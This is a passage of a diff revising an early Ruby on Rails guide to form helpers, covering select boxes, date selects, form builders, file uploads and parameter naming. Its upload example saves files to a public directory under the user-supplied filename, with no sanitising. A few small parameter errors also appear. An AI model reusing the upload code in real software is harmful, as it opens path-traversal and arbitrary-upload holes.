<pre><tt>&lt;%= options_for_select([['Lisabon', 1], ['Madrid', 2], ...]) %&gt;
@@ -605,16 +537,16 @@ output:
&lt;option value="2"&gt;Madrid&lt;/option&gt;
...</tt></pre>
</div></div>
-<div class="para"><p>For input data we used a nested array where each element has two elements: visible value (name) and internal value (ID).</p></div>
-<div class="para"><p>Now you can combine <tt>select_tag</tt> and <tt>options_for_select</tt> to achieve the desired, complete markup:</p></div>
+<div class="paragraph"><p>For input data you use a nested array where each element has two elements: option text (city name) and option value (city id). The option value is what will get submitted to your controller. It is often true that the option value is the id of a corresponding database object but this does not have to be the case.</p></div>
+<div class="paragraph"><p>Knowing this, you can combine <tt>select_tag</tt> and <tt>options_for_select</tt> to achieve the desired, complete markup:</p></div>
<div class="listingblock">
<div class="content">
<pre><tt>&lt;%= select_tag(:city_id, options_for_select(...)) %&gt;</tt></pre>
</div></div>
-<div class="para"><p>Sometimes, depending on our application's needs, we also wish a specific option to be pre-selected. The <tt>options_for_select</tt> helper supports this with an optional second argument:</p></div>
+<div class="paragraph"><p>Sometimes, depending on an application&#8217;s needs, you also wish a specific option to be pre-selected. The <tt>options_for_select</tt> helper supports this with an optional second argument:</p></div>
<div class="listingblock">
<div class="content">
-<pre><tt>&lt;%= options_for_select(cities_array, 2) %&gt;
+<pre><tt>&lt;%= options_for_select([['Lisabon', 1], ['Madrid', 2], ...], 2) %&gt;
output:
@@ -622,17 +554,417 @@ output:
&lt;option value="2" selected="selected"&gt;Madrid&lt;/option&gt;
...</tt></pre>
</div></div>
-<div class="para"><p>So whenever Rails sees that the internal value of an option being generated matches this value, it will add the <tt>selected</tt> attribute to that option.</p></div>
-<h3 id="_select_boxes_for_dealing_with_models">3.2. Select boxes for dealing with models</h3>
-<div class="para"><p>Until now we've covered how to make generic select boxes, but in most cases our form controls will be tied to a specific database model. So, to continue from our previous examples, let's assume that we have a "Person" model with a <tt>city_id</tt> attribute.</p></div>
+<div class="paragraph"><p>So whenever Rails sees that the internal value of an option being generated matches this value, it will add the <tt>selected</tt> attribute to that option.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">
+<div class="paragraph"><p>The second argument to <tt>options_for_select</tt> must be exactly equal to the desired internal value. In particular if the internal value is the integer 2 you cannot pass "2" to <tt>options_for_select</tt>&#8201;&#8212;&#8201;you must pass 2. Be aware of values extracted from the params hash as they are all strings.</p></div>
+</td>
+</tr></table>
+</div>
+<h3 id="_select_boxes_for_dealing_with_models">4.2. Select boxes for dealing with models</h3>
+<div class="paragraph"><p>Until now you&#8217;ve seen how to make generic select boxes, but in most cases our form controls will be tied to a specific database model. So, to continue from our previous examples, let&#8217;s assume that you have a "Person" model with a <tt>city_id</tt> attribute.</p></div>
+<div class="paragraph"><p>Consistent with other form helpers, when dealing with models you drop the <tt>_tag</tt> suffix from <tt>select_tag</tt>.</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt># controller:
+@person = Person.new(:city_id =&gt; 2)
+
+# view:
+&lt;%= select(:person, :city_id, [['Lisabon', 1], ['Madrid', 2], ...]) %&gt;</tt></pre>
+</div></div>
+<div class="paragraph"><p>Notice that the third parameter, the options array, is the same kind of argument you pass to <tt>options_for_select</tt>. One advantage here is that you don&#8217;t have to worry about pre-selecting the correct city if the user already has one&#8201;&#8212;&#8201;Rails will do this for you by reading from the <tt>@person.city_id</tt> attribute.</p></div>
+<div class="paragraph"><p>As before, if you were to use <tt>select</tt> helper on a form builder scoped to <tt>@person</tt> object, the syntax would be:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt># select on a form builder
+&lt;%= f.select(:city_id, ...) %&gt;</tt></pre>
+</div></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/warning.png" alt="Warning" />
+</td>
+<td class="content">
+<div class="paragraph"><p>If you are using <tt>select</tt> (or similar helpers such as <tt>collection_select</tt>, <tt>select_tag</tt>) to set a <tt>belongs_to</tt> association you must pass the name of the foreign key (in the example above <tt>city_id</tt>), not the name of association itself. If you specify <tt>city</tt> instead of `city_id Active Record will raise an error along the lines of</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>ActiveRecord::AssociationTypeMismatch: City(#17815740) expected, got Fixnum(#1138750)</tt></pre>
+</div></div>
+<div class="paragraph"><p>when you pass the params hash to <tt>Person.new</tt> or <tt>update_attributes</tt>. Another way of looking at this is that form helpers only edit attributes.</p></div>
+</td>
+</tr></table>
+</div>
+<h3 id="_option_tags_from_a_collection_of_arbitrary_objects">4.3. Option tags from a collection of arbitrary objects</h3>
+<div class="paragraph"><p>Until now you were generating option tags from nested arrays with the help of <tt>options_for_select</tt> method. Data in our array were raw values:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>&lt;%= options_for_select([['Lisabon', 1], ['Madrid', 2], ...]) %&gt;</tt></pre>
+</div></div>
+<div class="paragraph"><p>But what if you had a <strong>City</strong> model (perhaps an Active Record one) and you wanted to generate option tags from a collection of those objects? One solution would be to make a nested array by iterating over them:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>&lt;% cities_array = City.find(:all).map { |city| [city.name, city.id] } %&gt;
+&lt;%= options_for_select(cities_array) %&gt;</tt></pre>
+</div></div>
+<div class="paragraph"><p>This is a perfectly valid solution, but Rails provides a less verbose alternative: <tt>options_from_collection_for_select</tt>. This helper expects a collection of arbitrary objects and two additional arguments: the names of the methods to read the option <strong>value</strong> and <strong>text</strong> from, respectively:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>&lt;%= options_from_collection_for_select(City.all, :id, :name) %&gt;</tt></pre>
+</div></div>
+<div class="paragraph"><p>As the name implies, this only generates option tags. To generate a working select box you would need to use it in conjunction with <tt>select_tag</tt>, just as you would with <tt>options_for_select</tt>. A method to go along with it is <tt>collection_select</tt>:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>&lt;%= collection_select(:person, :city_id, City.all, :id, :name) %&gt;</tt></pre>
+</div></div>
+<div class="paragraph"><p>To recap, <tt>options_from_collection_for_select</tt> is to <tt>collection_select</tt> what <tt>options_for_select</tt> is to <tt>select</tt>.</p></div>
+<h3 id="_time_zone_and_country_select">4.4. Time zone and country select</h3>
+<div class="paragraph"><p>To leverage time zone support in Rails, you have to ask our users what time zone they are in. Doing so would require generating select options from a list of pre-defined TimeZone objects using <tt>collection_select</tt>, but you can simply use the <tt>time_zone_select</tt> helper that already wraps this:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>&lt;%= time_zone_select(:person, :city_id) %&gt;</tt></pre>
+</div></div>
+<div class="paragraph"><p>There is also <tt>time_zone_options_for_select</tt> helper for a more manual (therefore more customizable) way of doing this. Read the API documentation to learn about the possible arguments for these two methods.</p></div>
+<div class="paragraph"><p>Rails <em>used</em> to have a <tt>country_select</tt> helper for choosing countries but this has been extracted to the <a href="http://github.com/rails/country_select/tree/master">country_select plugin</a>. When using this do be aware that the exclusion or inclusion of certain names from the list can be somewhat controversial (and was the reason this functionality was extracted from rails)</p></div>
+</div>
+<h2 id="_date_and_time_select_boxes">5. Date and time select boxes</h2>
+<div class="sectionbody">
+<div class="paragraph"><p>The date and time helpers differ from all the other form helpers in two important respects:</p></div>
+<div class="olist arabic"><ol class="arabic">
+<li>
+<p>
+Unlike other attributes you might typically have, dates and times are not representable by a single input element. Instead you have several, one for each component (year, month, day etc...). So in particular, there is no single value in your params hash with your date or time.
+</p>
+</li>
+<li>
+<p>
+Other helpers use the _tag suffix to indicate whether a helper is a barebones helper or one that operates on model objects. With dates and times, <tt>select\_date</tt>, <tt>select\_time</tt> and <tt>select_datetime</tt> are the barebones helpers, <tt>date_select</tt>, <tt>time_select</tt> and <tt>datetime_select</tt> are the equivalent model object helpers
+</p>
+</li>
+</ol></div>
+<div class="paragraph"><p>Both of these families of helpers will create a series of select boxes for the different components (year, month, day etc...).</p></div>
+<h3 id="_barebones_helpers_2">5.1. Barebones helpers</h3>
+<div class="paragraph"><p>The <tt>select_*</tt> family of helpers take as their first argument an instance of Date, Time or DateTime that is used as the currently selected value. You may omit this parameter, in which case the current date is used. For example</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>&lt;%= select_date Date::today, :prefix =&gt; :start_date %&gt;</tt></pre>
+</div></div>
+<div class="paragraph"><p>outputs (with the actual option values omitted for brevity)</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>&lt;select id="start_date_year" name="start_date[year]"&gt; ... &lt;/select&gt;
+&lt;select id="start_date_month" name="start_date[month]"&gt; ... &lt;/select&gt;
+&lt;select id="start_date_day" name="start_date[day]"&gt; ... &lt;/select&gt;</tt></pre>
+</div></div>
+<div class="paragraph"><p>The above inputs would result in <tt>params[:start_date]</tt> being a hash with keys :year, :month, :day. To get an actual Time or Date object you would have to extract these values and pass them to the appropriate constructor, for example</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>Date::civil(params[:start_date][:year].to_i, params[:start_date][:month].to_i, params[:start_date][:day].to_i)</tt></pre>
+</div></div>
+<div class="paragraph"><p>The :prefix option controls where in the params hash the date components will be placed. Here it was set to <tt>start_date</tt>, if omitted it will default to <tt>date</tt>.</p></div>
+<h3 id="_model_object_helpers_2">5.2. Model object helpers</h3>
+<div class="paragraph"><p><tt>select_date</tt> does not work well with forms that update or create Active Record objects as Active Record expects each element of the params hash to correspond to one attribute.
+The model object helpers for dates and times submit parameters with special names. When Active Record sees parameters with such names it knows they must be combined with the other parameters and given to a constructor appropriate to the column type. For example</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>&lt;%= date_select :person, :birth_date %&gt;</tt></pre>
+</div></div>
+<div class="paragraph"><p>outputs (with the actual option values omitted for brevity)</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>&lt;select id="person_birth_date_1i" name="person[birth_date(1i)]"&gt; ... &lt;/select&gt;
+&lt;select id="person_birth_date_2i" name="person[birth_date(2i)]"&gt; ... &lt;/select&gt;
+&lt;select id="person_birth_date_3i" name="person[birth_date(3i)]"&gt; ... &lt;/select&gt;</tt></pre>
+</div></div>
+<div class="paragraph"><p>which results in a params hash like</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>{:person =&gt; {'birth_date(1i)' =&gt; '2008', 'birth_date(2i)' =&gt; '11', 'birth_date(3i)' =&gt; '22'}}</tt></pre>
+</div></div>
+<div class="paragraph"><p>When this is passed to <tt>Person.new</tt>, Active Record spots that these parameters should all be used to construct the <tt>birth_date</tt> attribute and uses the suffixed information to determine in which order it should pass these parameters to functions such as <tt>Date::civil</tt>.</p></div>
+<h3 id="_common_options">5.3. Common options</h3>
+<div class="paragraph"><p>Both families of helpers use the same core set of functions to generate the individual select tags and so both accept largely the same options. In particular, by default Rails will generate year options 5 years either side of the current year. If this is not an appropriate range, the <tt>:start_year</tt> and <tt>:end_year</tt> options override this. For an exhaustive list of the available options, refer to the <a href="http://api.rubyonrails.org/classes/ActionView/Helpers/DateHelper.html">API documentation</a>.</p></div>
+<div class="paragraph"><p>As a rule of thumb you should be using <tt>date_select</tt> when working with model objects and <tt>select_date</tt> in others cases, such as a search form which filters results by date.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/note.png" alt="Note" />
+</td>
+<td class="content">In many cases the built in date pickers are clumsy as they do not aid the user in working out the relationship between the date and the day of the week.</td>
+</tr></table>
+</div>
+</div>
+<h2 id="_form_builders">6. Form builders</h2>
+<div class="sectionbody">
+<div class="paragraph"><p>As mentioned previously the object yielded by <tt>form_for</tt> and <tt>fields_for</tt> is an instance of FormBuilder (or a subclass thereof). Form builders encapsulate the notion of displaying a form elements for a single object. While you can of course write helpers for your forms in the usual way you can also subclass FormBuilder and add the helpers there. For example</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>&lt;% form_for @person do |f| %&gt;
+ &lt;%= text_field_with_label f, :first_name %&gt;
+&lt;% end %&gt;</tt></pre>
+</div></div>
+<div class="paragraph"><p>can be replaced with</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>&lt;% form_for @person, :builder =&gt; LabellingFormBuilder do |f| %&gt;
+ &lt;%= f.text_field :first_name %&gt;
+&lt;% end %&gt;</tt></pre>
+</div></div>
+<div class="paragraph"><p>by defining a LabellingFormBuilder class similar to the following:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> LabellingFormBuilder <span style="color: #990000">&lt;</span> FormBuilder
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> text_field attribute<span style="color: #990000">,</span> options<span style="color: #990000">=</span><span style="color: #FF0000">{}</span>
+ label<span style="color: #990000">(</span>attribute<span style="color: #990000">)</span> <span style="color: #990000">+</span> text_field<span style="color: #990000">(</span>attribute<span style="color: #990000">,</span> options<span style="color: #990000">)</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>If you reuse this frequently you could define a <tt>labeled_form_for</tt> helper that automatically applies the <tt>:builder =&gt; LabellingFormBuilder</tt> option.</p></div>
+<div class="paragraph"><p>The form builder used also determines what happens when you do</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>&lt;%= render :partial =&gt; f %&gt;</tt></pre>
+</div></div>
+<div class="paragraph"><p>If <tt>f</tt> is an instance of FormBuilder then this will render the <em>form</em> partial, setting the partial&#8217;s object to the form builder. If the form builder is of class LabellingFormBuilder then the <em>labelling_form</em> partial would be rendered instead.</p></div>
+<h3 id="_scoping_out_form_controls_with_tt_fields_for_tt">6.1. Scoping out form controls with <tt>fields_for</tt></h3>
+<div class="paragraph"><p><tt>fields_for</tt> creates a form builder in exactly the same way as <tt>form_for</tt> but doesn&#8217;t create the actual <tt>&lt;form&gt;</tt> tags. It creates a scope around a specific model object like <tt>form_for</tt>, which is useful for specifying additional model objects in the same form. For example if you had a Person model with an associated ContactDetail model you could create a form for editing both like so:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>&lt;% form_for @person do |person_form| %&gt;
+ &lt;%= person_form.text_field :name %&gt;
+ &lt;% fields_for @person.contact_detail do |contact_details_form| %&gt;
+ &lt;%= contact_details_form.text_field :phone_number %&gt;
+ &lt;% end %&gt;
+&lt;% end %&gt;</tt></pre>
+</div></div>
+<div class="paragraph"><p>which produces the following output:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>&lt;form action="/people/1" class="edit_person" id="edit_person_1" method="post"&gt;
+ &lt;input id="person_name" name="person[name]" size="30" type="text" /&gt;
+ &lt;input id="contact_detail_phone_number" name="contact_detail[phone_number]" size="30" type="text" /&gt;
+&lt;/form&gt;</tt></pre>
+</div></div>
+</div>
+<h2 id="_file_uploads">7. File Uploads</h2>
+<div class="sectionbody">
+<div class="paragraph"><p>A common task is uploading some sort of file, whether it&#8217;s a picture of a person or a CSV file containing data to process. The most important thing to remember with file uploads is that the form&#8217;s encoding <strong>MUST</strong> be set to multipart/form-data. If you forget to do this the file will not be uploaded. This can be done by passing <tt>:multi_part =&gt; true</tt> as an HTML option. This means that in the case of <tt>form_tag</tt> it must be passed in the second options hash and in the case of <tt>form_for</tt> inside the <tt>:html</tt> hash.</p></div>
+<div class="paragraph"><p>The following two forms both upload a file.</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>&lt;% form_tag({:action =&gt; :upload}, :multipart =&gt; true) do %&gt;
+ &lt;%= file_field_tag 'picture' %&gt;
+&lt;% end %&gt;
+
+&lt;% form_for @person, :html =&gt; {:multipart =&gt; true} do |f| %&gt;
+ &lt;%= f.file_field :picture %&gt;
+&lt;% end %&gt;</tt></pre>
+</div></div>
+<div class="paragraph"><p>Rails provides the usual pair of helpers: the barebones <tt>file_field_tag</tt> and the model oriented <tt>file_field</tt>. The only difference with other helpers is that you cannot set a default value for file inputs as this would have no meaning. As you would expect in the first case the uploaded file is in <tt>params[:picture]</tt> and in the second case in <tt>params[:person][:picture]</tt>.</p></div>
+<h3 id="_what_gets_uploaded">7.1. What gets uploaded</h3>
+<div class="paragraph"><p>The object in the params hash is an instance of a subclass of IO. Depending on the size of the uploaded file it may in fact be a StringIO or an instance of File backed by a temporary file. In both cases the object will have an <tt>original_filename</tt> attribute containing the name the file had on the user&#8217;s computer and a <tt>content_type</tt> attribute containing the MIME type of the uploaded file. The following snippet saves the uploaded content in <tt>#{RAILS_ROOT}/public/uploads</tt> under the same name as the original file (assuming the form was the one in the previous example).</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> upload
+ uploaded_io <span style="color: #990000">=</span> params<span style="color: #990000">[:</span>person<span style="color: #990000">][:</span>picture<span style="color: #990000">]</span>
+ File<span style="color: #990000">.</span>open<span style="color: #990000">(</span>Rails<span style="color: #990000">.</span>root<span style="color: #990000">.</span>join<span style="color: #990000">(</span><span style="color: #FF0000">'public'</span><span style="color: #990000">,</span> <span style="color: #FF0000">'uploads'</span><span style="color: #990000">,</span> uploaded_io<span style="color: #990000">.</span>original_filename<span style="color: #990000">),</span> <span style="color: #FF0000">'w'</span><span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>file<span style="color: #990000">|</span>
+ file<span style="color: #990000">.</span>write<span style="color: #990000">(</span>uploaded_io<span style="color: #990000">.</span>read<span style="color: #990000">)</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>Once a file has been uploaded there are a multitude of potential tasks, ranging from where to store the files (on disk, Amazon S3, etc) and associating them with models to resizing image files and generating thumbnails. The intricacies of this are beyond the scope of this guide, but there are several plugins designed to assist with these. Two of the better known ones are <a href="http://github.com/technoweenie/attachment_fu">Attachment-Fu</a> and <a href="http://www.thoughtbot.com/projects/paperclip">Paperclip</a>.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/note.png" alt="Note" />
+</td>
+<td class="content">If the user has not selected a file the corresponding parameter will be an empty string.</td>
+</tr></table>
+</div>
+<h3 id="_dealing_with_ajax">7.2. Dealing with Ajax</h3>
+<div class="paragraph"><p>Unlike other forms making an asynchronous file upload form is not as simple as replacing <tt>form_for</tt> with <tt>remote_form_for</tt>. With an AJAX form the serialization is done by javascript running inside the browser and since javascript cannot read files from your hard drive the file cannot be uploaded. The most common workaround is to use an invisible iframe that serves as the target for the form submission.</p></div>
+</div>
+<h2 id="_parameter_names">8. Parameter Names</h2>
+<div class="sectionbody">
+<div class="paragraph" id="parameter_names"><p>As you&#8217;ve seen in the previous sections values from forms can appear either at the top level of the params hash or may appear nested in another hash. For example in a standard create
+action for a Person model, <tt>params[:model]</tt> would usually be a hash of all the attributes for the person to create. The params hash can also contain arrays, arrays of hashes and so on.</p></div>
+<div class="paragraph"><p>Fundamentally HTML forms don&#8217;t know about any sort of structured data. All they know about is name-value pairs. Rails tacks some conventions onto parameter names which it uses to express some structure.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">
+<div class="paragraph"><p>You may find you can try out examples in this section faster by using the console to directly invoke Rails' parameter parser. For example</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>ActionController::RequestParser.parse_query_parameters "name=fred&amp;phone=0123456789"
+#=&gt; {"name"=&gt;"fred", "phone"=&gt;"0123456789"}</tt></pre>
+</div></div>
+</td>
+</tr></table>
+</div>
+<h3 id="_basic_structures">8.1. Basic structures</h3>
+<div class="paragraph"><p>The two basic structures are arrays and hashes. Hashes mirror the syntax used for accessing the value in the params. For example if a form contains</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>&lt;input id="person_name" name="person[name]" type="text" value="Henry"/&gt;</tt></pre>
+</div></div>
+<div class="paragraph"><p>the params hash will contain</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000">{</span><span style="color: #FF0000">'person'</span> <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span><span style="color: #FF0000">'name'</span> <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'Henry'</span><span style="color: #FF0000">}}</span></tt></pre></div></div>
+<div class="paragraph"><p>and <tt>params["name"]</tt> will retrieve the submitted value in the controller.</p></div>
+<div class="paragraph"><p>Hashes can be nested as many levels as required, for example</p></div>
<div class="listingblock">
<div class="content">
-<pre><tt>...</tt></pre>
+<pre><tt>&lt;input id="person_address_city" name="person[address][city]" type="text" value="New York"/&gt;</tt></pre>
</div></div>
-<div class="para"><p>&#8230;</p></div>
+<div class="paragraph"><p>will result in the params hash being</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000">{</span><span style="color: #FF0000">'person'</span> <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span><span style="color: #FF0000">'address'</span> <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span><span style="color: #FF0000">'city'</span> <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'New York'</span><span style="color: #FF0000">}}}</span></tt></pre></div></div>
+<div class="paragraph"><p>Normally Rails ignores duplicate parameter names. If the parameter name contains [] then they will be accumulated in an array. If you wanted people to be able to input multiple phone numbers, your could place this in the form:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>&lt;input name="person[phone_number][]" type="text"/&gt;
+&lt;input name="person[phone_number][]" type="text"/&gt;
+&lt;input name="person[phone_number][]" type="text"/&gt;</tt></pre>
+</div></div>
+<div class="paragraph"><p>This would result in <tt>params[:person][:phone_number]</tt> being an array.</p></div>
+<h3 id="_combining_them">8.2. Combining them</h3>
+<div class="paragraph"><p>We can mix and match these two concepts. For example, one element of a hash might be an array as in the previous example, or you can have an array of hashes. For example a form might let you create any number of addresses by repeating the following form fragment</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>&lt;input name="addresses[][line1]" type="text"/&gt;
+&lt;input name="addresses[][line2]" type="text"/&gt;
+&lt;input name="addresses[][city]" type="text"/&gt;</tt></pre>
+</div></div>
+<div class="paragraph"><p>This would result in <tt>params[:addresses]</tt> being an array of hashes with keys <tt>line1</tt>, <tt>line2</tt> and <tt>city</tt>. Rails decides to start accumulating values in a new hash whenever it encounters a input name that already exists in the current hash.</p></div>
+<div class="paragraph"><p>The one restriction is that although hashes can be nested arbitrarily deep then can be only one level of "arrayness". Frequently arrays can be usually replaced by hashes, for example instead of having an array of model objects one can have a hash of model objects keyed by their id.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/warning.png" alt="Warning" />
+</td>
+<td class="content">Array parameters do not play well with the <tt>check_box</tt> helper. According to the HTML specification unchecked checkboxes submit no value. However it is often convenient for a checkbox to always submit a value. The <tt>check_box</tt> helper fakes this by creating a second hidden input with the same name. If the checkbox is unchecked only the hidden input is submitted. If the checkbox is checked then both are submitted but the value submitted by the checkbox takes precedence. When working with array parameters this duplicate submission will confuse Rails since duplicate input names are how it decides when to start a new hash. It is preferable to either use <tt>check_box_tag</tt> or to use hashes instead of arrays.</td>
+</tr></table>
+</div>
+<h3 id="_using_form_helpers">8.3. Using form helpers</h3>
+<div class="paragraph"><p>The previous sections did not use the Rails form helpers at all. While you can craft the input names yourself and pass them directly to helpers such as <tt>text_field_tag</tt> Rails also provides higher level support. The two tools at your disposal here are the name parameter to <tt>form_for</tt>/<tt>fields_for</tt> and the <tt>:index</tt> option.</p></div>
+<div class="paragraph"><p>You might want to render a form with a set of edit fields for each of a person&#8217;s addresses. Something a little like this will do the trick</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>&lt;% form_for @person do |person_form| %&gt;
+ &lt;%= person_form.text_field :name%&gt;
+ &lt;% for address in @person.addresses %&gt;
+ &lt;% person_form.fields_for address, :index =&gt; address do |address_form|%&gt;
+ &lt;%= address_form.text_field :city %&gt;
+ &lt;% end %&gt;
+ &lt;% end %&gt;
+&lt;% end %&gt;</tt></pre>
+</div></div>
+<div class="paragraph"><p>Assuming our person had two addresses, with ids 23 and 45 this would create output similar to this:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>&lt;form action="/people/1" class="edit_person" id="edit_person_1" method="post"&gt;
+ &lt;input id="person_name" name="person[name]" size="30" type="text" /&gt;
+ &lt;input id="person_address_23_city" name="person[address][23][city]" size="30" type="text" /&gt;
+ &lt;input id="person_address_45_city" name="person[address][45][city]" size="30" type="text" /&gt;
+&lt;/form&gt;</tt></pre>
+</div></div>
+<div class="paragraph"><p>This will result in a params hash that looks like</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000">{</span><span style="color: #FF0000">'person'</span> <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span><span style="color: #FF0000">'name'</span> <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'Bob'</span><span style="color: #990000">,</span> <span style="color: #FF0000">'address'</span> <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #FF0000">'23'</span> <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span><span style="color: #FF0000">'city'</span> <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'Paris'</span><span style="color: #FF0000">}</span><span style="color: #990000">,</span> <span style="color: #FF0000">'45'</span> <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span><span style="color: #FF0000">'city'</span> <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'London'</span><span style="color: #FF0000">}</span> <span style="color: #FF0000">}}}</span></tt></pre></div></div>
+<div class="paragraph"><p>Rails knows that all these inputs should be part of the person hash because you called <tt>fields_for</tt> on the first form builder. By specifying an <tt>:index</tt> option you&#8217;re telling rails that instead of naming the inputs <tt>person[address][city]</tt> it should insert that index surrounded by [] between the address and the city. If you pass an Active Record object as we did then Rails will call <tt>to_param</tt> on it, which by default returns the database id. This is often useful it is then easy to locate which Address record should be modified but you could pass numbers with some other significance, strings or even nil (which will result in an array parameter being created).</p></div>
+<div class="paragraph"><p>To create more intricate nestings, you can specify the first part of the input name (<tt>person[address]</tt> in the previous example) explicitly, for example</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>&lt;% fields_for 'person[address][primary]', address, :index =&gt; address do |address_form| %&gt;
+ &lt;%= address_form.text_field :city %&gt;
+&lt;% end %&gt;</tt></pre>
+</div></div>
+<div class="paragraph"><p>will create inputs like</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>&lt;input id="person_address_primary_1_city" name="person[address][primary][1][city]" size="30" type="text" value="bologna" /&gt;</tt></pre>
+</div></div>
+<div class="paragraph"><p>As a general rule the final input name is the concatenation of the name given to <tt>fields_for</tt>/<tt>form_for</tt>, the index value and the name of the attribute. You can also pass an <tt>:index</tt> option directly to helpers such as <tt>text_field</tt>, but usually it is less repetitive to specify this at the form builder level rather than on individual input controls.</p></div>
+<div class="paragraph"><p>As a shortcut you can append [] to the name and omit the <tt>:index</tt> option. This is the same as specifing <tt>:index =&gt; address</tt> so</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>&lt;% fields_for 'person[address][primary][]', address do |address_form| %&gt;
+ &lt;%= address_form.text_field :city %&gt;
+&lt;% end %&gt;</tt></pre>
+</div></div>
+<div class="paragraph"><p>produces exactly the same output as the previous example.</p></div>
+</div>
+<h2 id="_complex_forms">9. Complex forms</h2>
+<div class="sectionbody">
+<div class="paragraph"><p>Many apps grow beyond simple forms editing a single object. For example when creating a Person instance you might want to allow the user to (on the same form) create multiple address records (home, work etc.). When later editing that person the user should be able to add, remove or amend addresses as necessary. While this guide has shown you all the pieces necessary to handle this, Rails does not yet have a standard end-to-end way of accomplishing this, but many have come up with viable approaches. These include:</p></div>
+<div class="ulist"><ul>
+<li>
+<p>
+Ryan Bates' series of railscasts on <a href="http://railscasts.com/episodes/75">complex forms</a>
+</p>
+</li>
+<li>
+<p>
+Handle Multiple Models in One Form from <a href="http://media.pragprog.com/titles/fr_arr/multiple_models_one_form.pdf">Advanced Rails Recipes</a>
+</p>
+</li>
+<li>
+<p>
+Eloy Duran&#8217;s <a href="http://github.com/alloy/complex-form-examples/tree/alloy-nested_params">nested_params</a> plugin
+</p>
+</li>
+<li>
+<p>
+Lance Ivy&#8217;s <a href="http://github.com/cainlevy/nested_assignment/tree/master">nested_assignment</a> plugin and <a href="http://github.com/cainlevy/complex-form-examples/tree/cainlevy">sample application</a>
+</p>
+</li>
+<li>
+<p>
+James Golick&#8217;s <a href="http://github.com/giraffesoft/attribute_fu/tree">attribute_fu</a> plugin
+</p>
+</li>
+</ul></div>
+</div>
+<h2 id="_changelog">10. Changelog</h2>
+<div class="sectionbody">
+<div class="paragraph"><p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/1">Lighthouse ticket</a></p></div>
